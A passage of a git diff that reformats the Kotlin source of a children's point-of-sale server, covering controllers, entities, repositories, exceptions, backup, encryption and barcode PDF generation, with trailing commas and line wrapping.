return "sales/edit" } @PostMapping - fun create(@ModelAttribute sale: SaleBean): String { + fun create( + @ModelAttribute sale: SaleBean, + ): String { // saleService.save(sale) return "redirect:/sales" } -} \ No newline at end of file +} diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/controller/front/SettingsController.kt b/src/main/kotlin/info/nukoneko/kidspos/server/controller/front/SettingsController.kt index 8889c90..3611c9a 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/server/controller/front/SettingsController.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/server/controller/front/SettingsController.kt @@ -20,7 +20,10 @@ class SettingsController { } @GetMapping("{key}/edit") - fun edit(@PathVariable key: String, model: Model): String { + fun edit( + @PathVariable key: String, + model: Model, + ): String { val setting = settingService.findSetting(key) model.addAttribute("setting", setting) return "settings/edit" @@ -29,7 +32,7 @@ class SettingsController { @PostMapping("{key}") fun update( @PathVariable key: String, - @RequestParam value: String + @RequestParam value: String, ): String { val setting = settingService.findSetting(key) if (setting != null) { @@ -38,4 +41,4 @@ class SettingsController { } return "redirect:/settings" } -} \ No newline at end of file +} diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/controller/front/StaffsController.kt b/src/main/kotlin/info/nukoneko/kidspos/server/controller/front/StaffsController.kt index 02c925d..fca35b1 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/server/controller/front/StaffsController.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/server/controller/front/StaffsController.kt @@ -19,4 +19,4 @@ class StaffsController { model.addAttribute("data", staffService.findAll()) return "staffs/index" } -} \ No newline at end of file +} diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/controller/front/StoresController.kt b/src/main/kotlin/info/nukoneko/kidspos/server/controller/front/StoresController.kt index a66fc3c..9f4072a 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/server/controller/front/StoresController.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/server/controller/front/StoresController.kt @@ -21,39 +21,48 @@ class StoresController { } @GetMapping("new") - fun newItem(model: Model): String { - return "stores/new" - } + fun newItem(model: Model): String = "stores/new" @GetMapping("{id}/edit") - fun edit(@PathVariable id: Int, model: Model): String { + fun edit( + @PathVariable id: Int, + model: Model, + ): String { model.addAttribute("store", storeService.findStore(id)) return "stores/edit" } @PostMapping - fun create(@ModelAttribute store: StoreBean): String { + fun create( + @ModelAttribute store: StoreBean, + ): String { storeService.save(store) return "redirect:/stores" } @PostMapping("{id}/update") - fun update(@PathVariable id: Int, @ModelAttribute store: StoreBean): String { + fun update( + @PathVariable id: Int, + @ModelAttribute store: StoreBean, + ): String { val existingStore = storeService.findStore(id) if (existingStore != null) { - val updatedStore = StoreBean( - id = id, - name = store.name, - printerUri = store.printerUri - ) + val updatedStore = + StoreBean( + id = id, + name = store.name, + printerUri = store.printerUri, + ) storeService.save(updatedStore) } return "redirect:/stores" } @PostMapping("{id}/delete") - fun delete(@PathVariable id: Int): String { + fun delete( + @PathVariable id: Int, + ): String { storeService.delete(id) return "redirect:/stores" } -} \ No newline at end of file +} diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/controller/front/TopController.kt b/src/main/kotlin/info/nukoneko/kidspos/server/controller/front/TopController.kt index 4b079bc..a2b678c 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/server/controller/front/TopController.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/server/controller/front/TopController.kt @@ -11,14 +11,12 @@ import java.net.Inet4Address import java.net.InetAddress import java.net.NetworkInterface - @Controller @RequestMapping("/") class TopController( private val environment: Environment, - private val appProperties: AppProperties + private val appProperties: AppProperties, ) { - @GetMapping fun index(model: Model): String { model.addAttribute("title", "ダッシュボード") @@ -37,23 +35,27 @@ class TopController( try { // ループバックインターフェースは除外し、アクティブなインターフェースのみ取得 - NetworkInterface.getNetworkInterfaces()?.asSequence() + NetworkInterface + .getNetworkInterfaces() + ?.asSequence() ?.filter { ni -> ni.isUp && !ni.isLoopback && !ni.isVirtual } ?.forEach { networkInterface -> - networkInterface.inetAddresses?.asSequence() - ?.filterIsInstance() // IPv4のみ取得して高速化 + networkInterface.inetAddresses + ?.asSequence() + ?.filterIsInstance() // IPv4のみ取得して高速化 ?.filter { inetAddress -> // ローカルIPアドレスのみフィルタリング !inetAddress.isLoopbackAddress && - !inetAddress.isLinkLocalAddress && - inetAddress.hostAddress.startsWith(appProperties.network.allowedIpPrefix) - } - ?.forEach { inetAddress -> + !inetAddress.isLinkLocalAddress && + inetAddress.hostAddress.startsWith(appProperties.network.allowedIpPrefix) + }?.forEach { inetAddress -> // hostNameの解決は遅いので、hostAddressのみを使用 - hosts.add(HostBean( - name = networkInterface.displayName ?: inetAddress.hostAddress, - address = inetAddress.hostAddress - )) + hosts.add( + HostBean( + name = networkInterface.displayName ?: inetAddress.hostAddress, + address = inetAddress.hostAddress, + ), + ) } } } catch (e: Exception) { @@ -73,6 +75,6 @@ class TopController( data class HostBean( val name: String, - val address: String + val address: String, ) } diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/domain/exception/BusinessException.kt b/src/main/kotlin/info/nukoneko/kidspos/server/domain/exception/BusinessException.kt index 3c80ad5..47a9a12 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/server/domain/exception/BusinessException.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/server/domain/exception/BusinessException.kt @@ -3,46 +3,55 @@ package info.nukoneko.kidspos.server.domain.exception /** * Base class for all business exceptions */ -sealed class BusinessException(message: String) : RuntimeException(message) +sealed class BusinessException( + message: String, +) : RuntimeException(message) /** * Thrown when an item is not found */ -class ItemNotFoundException(id: Int? = null, barcode: String? = null) : - BusinessException( +class ItemNotFoundException( + id: Int? = null, + barcode: String? = null, +) : BusinessException( when { id != null -> "Item with ID $id not found" barcode != null -> "Item with barcode $barcode not found" else -> "Item not found" - } + }, ) /** * Thrown when a sale is not found */ -class SaleNotFoundException(id: Int) : - BusinessException("Sale with ID $id not found") +class SaleNotFoundException( + id: Int, +) : BusinessException("Sale with ID $id not found") /** * Thrown when a store is not found */ -class StoreNotFoundException(id: Int) : - BusinessException("Store with ID $id not found") +class StoreNotFoundException( + id: Int, +) : BusinessException("Store with ID $id not found") /** * Thrown when a staff member is not found */ -class StaffNotFoundException(id: Int) : - BusinessException("Staff with ID $id not found") +class StaffNotFoundException( + id: Int, +) : BusinessException("Staff with ID $id not found") /** * Thrown when barcode format is invalid */ -class InvalidBarcodeException(barcode: String) : - BusinessException("Invalid barcode format: $barcode") +class InvalidBarcodeException( + barcode: String, +) : BusinessException("Invalid barcode format: $barcode") /** * Thrown when a validation fails */ -class ValidationException(message: String) : - BusinessException(message) \ No newline at end of file +class ValidationException( + message: String, +) : BusinessException(message) diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/domain/exception/DuplicateResourceException.kt b/src/main/kotlin/info/nukoneko/kidspos/server/domain/exception/DuplicateResourceException.kt index c9c194b..005bbd8 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/server/domain/exception/DuplicateResourceException.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/server/domain/exception/DuplicateResourceException.kt @@ -7,4 +7,6 @@ import org.springframework.web.bind.annotation.ResponseStatus * Exception thrown when attempting to create a duplicate resource */ @ResponseStatus(HttpStatus.CONFLICT) -class DuplicateResourceException(message: String) : RuntimeException(message) \ No newline at end of file +class DuplicateResourceException( + message: String, +) : RuntimeException(message) diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/domain/exception/ResourceNotFoundException.kt b/src/main/kotlin/info/nukoneko/kidspos/server/domain/exception/ResourceNotFoundException.kt index 047c4de..575ef16 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/server/domain/exception/ResourceNotFoundException.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/server/domain/exception/ResourceNotFoundException.kt @@ -7,4 +7,6 @@ import org.springframework.web.bind.annotation.ResponseStatus * Exception thrown when a requested resource is not found */ @ResponseStatus(HttpStatus.NOT_FOUND) -class ResourceNotFoundException(message: String) : RuntimeException(message) \ No newline at end of file +class ResourceNotFoundException( + message: String, +) : RuntimeException(message) diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/entity/ItemEntity.kt b/src/main/kotlin/info/nukoneko/kidspos/server/entity/ItemEntity.kt index 994dd68..2cc7f88 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/server/entity/ItemEntity.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/server/entity/ItemEntity.kt @@ -19,5 +19,5 @@ data class ItemEntity( @Id var id: Int = 0, val barcode: String, val name: String = "", - val price: Int = 0 + val price: Int = 0, ) diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/entity/SaleDetailEntity.kt b/src/main/kotlin/info/nukoneko/kidspos/server/entity/SaleDetailEntity.kt index 1af11a1..3fe9614 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/server/entity/SaleDetailEntity.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/server/entity/SaleDetailEntity.kt @@ -21,5 +21,5 @@ data class SaleDetailEntity( val saleId: Int, // 売り上げID val itemId: Int, // 商品ID val price: Int, // 単価 - val quantity: Int // 数量 + val quantity: Int, // 数量 ) diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/entity/SaleEntity.kt b/src/main/kotlin/info/nukoneko/kidspos/server/entity/SaleEntity.kt index 4a2bfb3..424f403 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/server/entity/SaleEntity.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/server/entity/SaleEntity.kt @@ -26,5 +26,5 @@ data class SaleEntity( val quantity: Int, // 数量 val amount: Int, // 売り上げ val deposit: Int, - val createdAt: Date + val createdAt: Date, ) diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/entity/SettingEntity.kt b/src/main/kotlin/info/nukoneko/kidspos/server/entity/SettingEntity.kt index 1b36338..9337966 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/server/entity/SettingEntity.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/server/entity/SettingEntity.kt @@ -13,4 +13,7 @@ import jakarta.persistence.Table */ @Entity @Table(name = "setting") -data class SettingEntity(@Id val key: String, var value: String) \ No newline at end of file +data class SettingEntity( + @Id val key: String, + var value: String, +) diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/entity/StaffEntity.kt b/src/main/kotlin/info/nukoneko/kidspos/server/entity/StaffEntity.kt index 466cd63..874197b 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/server/entity/StaffEntity.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/server/entity/StaffEntity.kt @@ -18,7 +18,6 @@ data class StaffEntity( @Id @field:NotBlank(message = "Barcode is required") var barcode: String, - @field:NotBlank(message = "Name is required") - val name: String -) \ No newline at end of file + val name: String, +) diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/entity/StoreEntity.kt b/src/main/kotlin/info/nukoneko/kidspos/server/entity/StoreEntity.kt index 731cc82..71bd91e 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/server/entity/StoreEntity.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/server/entity/StoreEntity.kt @@ -17,10 +17,8 @@ import jakarta.validation.constraints.NotBlank @Table(name = "store") data class StoreEntity( @Id var id: Int = 0, - @field:NotBlank(message = "Store name is required") val name: String, - @field:NotBlank(message = "Printer URI is required") - val printerUri: String + val printerUri: String, ) diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/repository/ItemRepository.kt b/src/main/kotlin/info/nukoneko/kidspos/server/repository/ItemRepository.kt index 646aab7..adcd4cc 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/server/repository/ItemRepository.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/server/repository/ItemRepository.kt @@ -45,7 +45,10 @@ interface ItemRepository : JpaRepository { * Find items with price range (uses index) */ @Query("SELECT i FROM ItemEntity i WHERE i.price BETWEEN :minPrice AND :maxPrice ORDER BY i.price") - fun findByPriceRange(minPrice: Int, maxPrice: Int): List + fun findByPriceRange( + minPrice: Int, + maxPrice: Int, + ): List } /** @@ -57,4 +60,4 @@ interface ItemSummary { val id: Int val name: String val price: Int -} \ No newline at end of file +} diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/repository/SaleDetailRepository.kt b/src/main/kotlin/info/nukoneko/kidspos/server/repository/SaleDetailRepository.kt index 250411c..fb014ac 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/server/repository/SaleDetailRepository.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/server/repository/SaleDetailRepository.kt @@ -16,4 +16,4 @@ interface SaleDetailRepository : JpaRepository { fun getLastId(): Int fun findBySaleId(saleId: Int): List -} \ No newline at end of file +} diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/repository/SaleRepository.kt b/src/main/kotlin/info/nukoneko/kidspos/server/repository/SaleRepository.kt index 2b96422..271d02c 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/server/repository/SaleRepository.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/server/repository/SaleRepository.kt @@ -27,13 +27,19 @@ interface SaleRepository : JpaRepository { /** * Find sales by store with pagination */ - fun findByStoreId(storeId: Int, pageable: Pageable): Page + fun findByStoreId( + storeId: Int, + pageable: Pageable, + ): Page /** * Find sales by date range for reporting */ @Query("SELECT s FROM SaleEntity s WHERE s.createdAt BETWEEN :startDate AND :endDate ORDER BY s.createdAt DESC") - fun findByDateRange(startDate: Date, endDate: Date): List + fun findByDateRange( + startDate: Date, + endDate: Date, + ): List /** * Sales summary projection for dashboard @@ -47,7 +53,7 @@ interface SaleRepository : JpaRepository { FROM SaleEntity s WHERE s.createdAt >= :fromDate GROUP BY s.storeId - """ + """, ) fun findSalesSummaryByStore(fromDate: Date): List @@ -65,4 +71,4 @@ interface SalesSummary { val totalSales: Long val totalAmount: Long val averageAmount: Double -} \ No newline at end of file +} diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/repository/SettingRepository.kt b/src/main/kotlin/info/nukoneko/kidspos/server/repository/SettingRepository.kt index 2815a2e..97a5167 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/server/repository/SettingRepository.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/server/repository/SettingRepository.kt @@ -10,4 +10,4 @@ import org.springframework.stereotype.Repository * アプリケーション設定情報の永続化操作を提供 */ @Repository -interface SettingRepository : JpaRepository \ No newline at end of file +interface SettingRepository : JpaRepository diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/repository/StaffRepository.kt b/src/main/kotlin/info/nukoneko/kidspos/server/repository/StaffRepository.kt index 494a841..48d1472 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/server/repository/StaffRepository.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/server/repository/StaffRepository.kt @@ -10,4 +10,4 @@ import org.springframework.stereotype.Repository * スタッフ情報のCRUD操作を提供 */ @Repository -interface StaffRepository : JpaRepository \ No newline at end of file +interface StaffRepository : JpaRepository diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/repository/StoreRepository.kt b/src/main/kotlin/info/nukoneko/kidspos/server/repository/StoreRepository.kt index ff2642b..273ae9d 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/server/repository/StoreRepository.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/server/repository/StoreRepository.kt @@ -14,4 +14,4 @@ import org.springframework.stereotype.Repository interface StoreRepository : JpaRepository { @Query(value = "SELECT max(store.id) FROM StoreEntity as store") fun getLastId(): Int -} \ No newline at end of file +} diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/repository/specification/ItemSpecification.kt b/src/main/kotlin/info/nukoneko/kidspos/server/repository/specification/ItemSpecification.kt index e6dde40..e4517a5 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/server/repository/specification/ItemSpecification.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/server/repository/specification/ItemSpecification.kt @@ -5,48 +5,47 @@ import jakarta.persistence.criteria.Predicate import org.springframework.data.jpa.domain.Specification object ItemSpecification { - - fun hasBarcode(barcode: String): Specification { - return Specification { root, _, criteriaBuilder -> + fun hasBarcode(barcode: String): Specification = + Specification { root, _, criteriaBuilder -> criteriaBuilder.equal(root.get("barcode"), barcode) } - } - fun nameLike(name: String): Specification { - return Specification { root, _, criteriaBuilder -> + fun nameLike(name: String): Specification = + Specification { root, _, criteriaBuilder -> criteriaBuilder.like( criteriaBuilder.lower(root.get("name")), - "%${name.lowercase()}%" + "%${name.lowercase()}%", ) } - } - fun priceRange(minPrice: Int?, maxPrice: Int?): Specification { - return Specification { root, _, criteriaBuilder -> + fun priceRange( + minPrice: Int?, + maxPrice: Int?, + ): Specification = + Specification { root, _, criteriaBuilder -> val predicates = mutableListOf() minPrice?.let { predicates.add( - criteriaBuilder.greaterThanOrEqualTo(root.get("price"), it) + criteriaBuilder.greaterThanOrEqualTo(root.get("price"), it), ) } maxPrice?.let { predicates.add( - criteriaBuilder.lessThanOrEqualTo(root.get("price"), it) + criteriaBuilder.lessThanOrEqualTo(root.get("price"), it), ) } criteriaBuilder.and(*predicates.toTypedArray()) } - } - fun combine(vararg specs: Specification): Specification { - return Specification { root, query, criteriaBuilder -> - val predicates = specs.mapNotNull { - it.toPredicate(root, query, criteriaBuilder) - } + fun combine(vararg specs: Specification): Specification = + Specification { root, query, criteriaBuilder -> + val predicates = + specs.mapNotNull { + it.toPredicate(root, query, criteriaBuilder) + } criteriaBuilder.and(*predicates.toTypedArray()) } - } -} \ No newline at end of file +} diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/security/DataEncryptionService.kt b/src/main/kotlin/info/nukoneko/kidspos/server/security/DataEncryptionService.kt index 945d7ec..7c9be8a 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/server/security/DataEncryptionService.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/server/security/DataEncryptionService.kt @@ -84,20 +84,25 @@ class DataEncryptionService { /** * Verify if data matches a hash */ - fun verifyHash(data: String, hash: String): Boolean { - return try { + fun verifyHash( + data: String, + hash: String, + ): Boolean = + try { val computedHash = hash(data) computedHash == hash } catch (e: Exception) { logger.error("Hash verification failed", e) false } - } /** * Mask sensitive data for display (e.g., credit card numbers) */ - fun mask(data: String, visibleChars: Int = 4): String { + fun mask( + data: String, + visibleChars: Int = 4, + ): String { if (data.length <= visibleChars) { return "*".repeat(data.length) } @@ -112,11 +117,12 @@ class DataEncryptionService { */ private fun generateKey(): SecretKeySpec { val keyBytes = encryptionKey.toByteArray().take(16).toByteArray() - val paddedKey = if (keyBytes.size < 16) { - keyBytes + ByteArray(16 - keyBytes.size) - } else { - keyBytes - } + val paddedKey = + if (keyBytes.size < 16) { + keyBytes + ByteArray(16 - keyBytes.size) + } else { + keyBytes + } return SecretKeySpec(paddedKey, keyAlgorithm) } @@ -124,11 +130,12 @@ class DataEncryptionService { * Sanitize data before encryption to prevent injection */ fun sanitizeAndEncrypt(data: String): String { - val sanitized = data - .replace("\u0000", "") // Remove null characters - .replace("\r", "") // Remove carriage returns - .trim() // Remove leading/trailing whitespace + val sanitized = + data + .replace("\u0000", "") // Remove null characters + .replace("\r", "") // Remove carriage returns + .trim() // Remove leading/trailing whitespace return encrypt(sanitized) } -} \ No newline at end of file +} diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/service/BackupManager.kt b/src/main/kotlin/info/nukoneko/kidspos/server/service/BackupManager.kt index b24ca97..399c840 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/server/service/BackupManager.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/server/service/BackupManager.kt @@ -44,7 +44,10 @@ class BackupManager { /** * Restore file from backup */ - fun restoreFromBackup(backupPath: String, targetPath: String) { + fun restoreFromBackup( + backupPath: String, + targetPath: String, + ) { val backupFile = File(backupPath) if (!backupFile.exists()) { throw RuntimeException("Backup file does not exist: $backupPath") @@ -62,15 +65,21 @@ class BackupManager { /** * Cleanup old backups */ - fun cleanupOldBackups(directory: String, maxAge: Long, maxCount: Int): Int { + fun cleanupOldBackups( + directory: String, + maxAge: Long, + maxCount: Int, + ): Int { val dir = File(directory) if (!dir.exists() || !dir.isDirectory()) { return 0 } - val backupFiles = dir.listFiles { _, name -> name.contains(".backup.") } - ?.sortedByDescending { it.lastModified() } - ?: return 0 + val backupFiles = + dir + .listFiles { _, name -> name.contains(".backup.") } + ?.sortedByDescending { it.lastModified() } + ?: return 0 var deletedCount = 0 val currentTime = System.currentTimeMillis() @@ -94,8 +103,11 @@ class BackupManager { /** * Validate backup integrity */ - fun validateBackupIntegrity(originalPath: String, backupPath: String): Boolean { - return try { + fun validateBackupIntegrity( + originalPath: String, + backupPath: String, + ): Boolean = + try { val originalHash = calculateFileHash(originalPath) val backupHash = calculateFileHash(backupPath) val isValid = originalHash == backupHash @@ -111,7 +123,6 @@ class BackupManager { logger.error("Failed to validate backup integrity", e) false } - } private fun calculateFileHash(filePath: String): String { val digest = MessageDigest.getInstance("SHA-256") @@ -128,4 +139,4 @@ class BackupManager { digest.digest().joinToString("") { "%02x".format(it) } } } -} \ No newline at end of file +} diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/service/BarcodeService.kt b/src/main/kotlin/info/nukoneko/kidspos/server/service/BarcodeService.kt index 1c74c8c..c472651 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/server/service/BarcodeService.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/server/service/BarcodeService.kt @@ -25,7 +25,6 @@ import java.util.* @Service class BarcodeService { - companion object { // レイアウト仕様に基づく定数 private const val LABEL_COLUMNS = 4 @@ -41,77 +40,87 @@ class BarcodeService { * @param items 商品リスト * @param showBorders 罫線を表示するかどうか(デフォルト: false) */ - fun generateBarcodePdf(items: List, showBorders: Boolean = false): ByteArray { + fun generateBarcodePdf( + items: List, + showBorders: Boolean = false, + ): ByteArray { val outputStream = ByteArrayOutputStream() val writer = PdfWriter(outputStream) val pdf = PdfDocument(writer) val document = Document(pdf, PageSize.A4) // 日本語フォントの設定 - val font = try { - // まず、クラスパスからフォントを探す(JARに含まれている場合) - val fontInputStream = this.javaClass.getResourceAsStream("/fonts/japanese.ttf") - ?: this.javaClass.getResourceAsStream("/fonts/ipag.ttf") - ?: this.javaClass.getResourceAsStream("/fonts/NotoSansCJKjp-Regular.otf") - - if (fontInputStream != null) { - // クラスパスからフォントを読み込み - val fontBytes = fontInputStream.use { it.readBytes() } - PdfFontFactory.createFont(fontBytes, "Identity-H", PdfFontFactory.EmbeddingStrategy.PREFER_EMBEDDED) - } else { - // クラスパスにフォントがない場合、システムフォントを探す - val fontPath = when { - // macOSのヒラギノフォント - java.io.File("/System/Library/Fonts/Hiragino Sans GB.ttc").exists() -> - "/System/Library/Fonts/Hiragino Sans GB.ttc" - // macOSのApple SDゴシック - java.io.File("/System/Library/Fonts/AppleSDGothicNeo.ttc").exists() -> - "/System/Library/Fonts/AppleSDGothicNeo.ttc" - // Windowsのメイリオ - java.io.File("C:/Windows/Fonts/meiryo.ttc").exists() -> - "C:/Windows/Fonts/meiryo.ttc" - // LinuxのIPAフォント - java.io.File("/usr/share/fonts/opentype/ipafont-gothic/ipag.ttf").exists() -> - "/usr/share/fonts/opentype/ipafont-gothic/ipag.ttf" - - else -> null - } - - if (fontPath != null) { - PdfFontFactory.createFont(fontPath, "Identity-H", PdfFontFactory.EmbeddingStrategy.PREFER_EMBEDDED) + val font = + try { + // まず、クラスパスからフォントを探す(JARに含まれている場合) + val fontInputStream = + this.javaClass.getResourceAsStream("/fonts/japanese.ttf") + ?: this.javaClass.getResourceAsStream("/fonts/ipag.ttf") + ?: this.javaClass.getResourceAsStream("/fonts/NotoSansCJKjp-Regular.otf") + + if (fontInputStream != null) { + // クラスパスからフォントを読み込み + val fontBytes = fontInputStream.use { it.readBytes() } + PdfFontFactory.createFont(fontBytes, "Identity-H", PdfFontFactory.EmbeddingStrategy.PREFER_EMBEDDED) } else { - // フォントが見つからない場合は標準フォントを使用(日本語は表示されません) - println("警告: 日本語フォントが見つかりません。src/main/resources/fonts/にフォントファイルを配置してください。") - PdfFontFactory.createFont(StandardFonts.HELVETICA) + // クラスパスにフォントがない場合、システムフォントを探す + val fontPath = + when { + // macOSのヒラギノフォント + java.io.File("/System/Library/Fonts/Hiragino Sans GB.ttc").exists() -> + "/System/Library/Fonts/Hiragino Sans GB.ttc" + // macOSのApple SDゴシック + java.io.File("/System/Library/Fonts/AppleSDGothicNeo.ttc").exists() -> + "/System/Library/Fonts/AppleSDGothicNeo.ttc" + // Windowsのメイリオ + java.io.File("C:/Windows/Fonts/meiryo.ttc").exists() -> + "C:/Windows/Fonts/meiryo.ttc" + // LinuxのIPAフォント + java.io.File("/usr/share/fonts/opentype/ipafont-gothic/ipag.ttf").exists() -> + "/usr/share/fonts/opentype/ipafont-gothic/ipag.ttf" + + else -> null + } + + if (fontPath != null) { + PdfFontFactory.createFont(fontPath, "Identity-H", PdfFontFactory.EmbeddingStrategy.PREFER_EMBEDDED) + } else { + // フォントが見つからない場合は標準フォントを使用(日本語は表示されません) + println("警告: 日本語フォントが見つかりません。src/main/resources/fonts/にフォントファイルを配置してください。") + PdfFontFactory.createFont(StandardFonts.HELVETICA) + } } + } catch (e: Exception) { + e.printStackTrace() + // エラー時のフォールバック + PdfFontFactory.createFont(StandardFonts.HELVETICA) } - } catch (e: Exception) { - e.printStackTrace() - // エラー時のフォールバック - PdfFontFactory.createFont(StandardFonts.HELVETICA) - } // マージンをミリメートル単位で設定(仕様書準拠・変更不可) document.setMargins( PAGE_MARGIN_TOP * 2.835f, // 上: 8mm 20f, // 右: 固定値 20f, // 下: 固定値 - PAGE_MARGIN_LEFT * 2.835f // 左: 8.4mm + PAGE_MARGIN_LEFT * 2.835f, // 左: 8.4mm ) // 各商品ごとに1ページ作成 items.forEachIndexed { itemIndex, item -> if (itemIndex > 0) { - document.add(com.itextpdf.layout.element.AreaBreak()) + document.add( + com.itextpdf.layout.element + .AreaBreak(), + ) } // グリッドレイアウトでバーコードを配置(同じ商品を44枚) // タイトルは削除してスペースを最大限活用 // テーブル全体の幅を正確に設定(4列 × 48.3mm = 193.2mm) val tableWidth = LABEL_COLUMNS * CELL_WIDTH * 2.835f // ポイント単位 - val table = Table(LABEL_COLUMNS) - .setWidth(tableWidth) - .setFixedLayout() + val table = + Table(LABEL_COLUMNS) + .setWidth(tableWidth) + .setFixedLayout() // 4列×11行 = 44枚のラベルを同じ商品で埋める for (row in 0 until LABEL_ROWS) { @@ -135,34 +144,45 @@ class BarcodeService { private fun createBarcodeCell( item: ItemEntity, showBorders: Boolean = false, - font: PdfFont + font: PdfFont, ): com.itextpdf.layout.element.Cell { - val cellWidthPt = CELL_WIDTH * 2.835f // 48.3mm → ポイント + val cellWidthPt = CELL_WIDTH * 2.835f // 48.3mm → ポイント val cellHeightPt = CELL_HEIGHT * 2.835f // 25.4mm → ポイント - val cell = com.itextpdf.layout.element.Cell() - .setPadding(0f) // パディングを0に - .setWidth(cellWidthPt) // セル幅を正確に設定 - .setHeight(cellHeightPt) // セル高さを正確に設定 - .setBorder(if (showBorders) com.itextpdf.layout.borders.SolidBorder(0.5f) else com.itextpdf.layout.borders.Border.NO_BORDER) + val cell = + com.itextpdf.layout.element + .Cell() + .setPadding(0f) // パディングを0に + .setWidth(cellWidthPt) // セル幅を正確に設定 + .setHeight(cellHeightPt) // セル高さを正確に設定 + .setBorder( + if (showBorders) { + com.itextpdf.layout.borders + .SolidBorder(0.5f) + } else { + com.itextpdf.layout.borders.Border.NO_BORDER + }, + ) // セル内のレイアウト用テーブル(単純化) - val innerTable = Table(1) - .setWidth(UnitValue.createPercentValue(100f)) - .setPadding(0f) + val innerTable = + Table(1) + .setWidth(UnitValue.createPercentValue(100f)) + .setPadding(0f) // 商品名(中央配置) innerTable.addCell( - com.itextpdf.layout.element.Cell() + com.itextpdf.layout.element + .Cell() .add( Paragraph(item.name) .setFont(font) .setFontSize(10f) .setTextAlignment(TextAlignment.CENTER) - .setMarginTop(3.0f * 2.835f) - ) // 上部に適度な余白 + .setMarginTop(3.0f * 2.835f), + ) // 上部に適度な余白 .setBorder(com.itextpdf.layout.borders.Border.NO_BORDER) - .setPadding(0f) + .setPadding(0f), ) // バーコード画像(中央配置) @@ -171,41 +191,43 @@ class BarcodeService { // 元の仕様書の比率を適用 val originalWidth = 300f val originalHeight = 100f - val image = Image(ImageDataFactory.create(barcodeImage)) - .setWidth(originalWidth * 0.4f) // 横幅を拡大 - .setHeight(originalHeight * 0.25f) // 縦幅を拡大 - .setHorizontalAlignment(com.itextpdf.layout.properties.HorizontalAlignment.CENTER) - .setMarginTop(2.0f * 2.835f) + val image = + Image(ImageDataFactory.create(barcodeImage)) + .setWidth(originalWidth * 0.4f) // 横幅を拡大 + .setHeight(originalHeight * 0.25f) // 縦幅を拡大 + .setHorizontalAlignment(com.itextpdf.layout.properties.HorizontalAlignment.CENTER) + .setMarginTop(2.0f * 2.835f) innerTable.addCell( - com.itextpdf.layout.element.Cell() + com.itextpdf.layout.element + .Cell() .add(image) .setBorder(com.itextpdf.layout.borders.Border.NO_BORDER) - .setPadding(0f) + .setPadding(0f), ) // バーコード番号を表示 innerTable.addCell( - com.itextpdf.layout.element.Cell() + com.itextpdf.layout.element + .Cell() .add( Paragraph(item.barcode) .setFont(font) .setFontSize(8f) .setTextAlignment(TextAlignment.CENTER) - .setMarginTop(1.0f * 2.835f) - ) - .setBorder(com.itextpdf.layout.borders.Border.NO_BORDER) - .setPadding(0f) + .setMarginTop(1.0f * 2.835f), + ).setBorder(com.itextpdf.layout.borders.Border.NO_BORDER) + .setPadding(0f), ) } else { innerTable.addCell( - com.itextpdf.layout.element.Cell() + com.itextpdf.layout.element + .Cell() .add( Paragraph("バーコード生成エラー") - 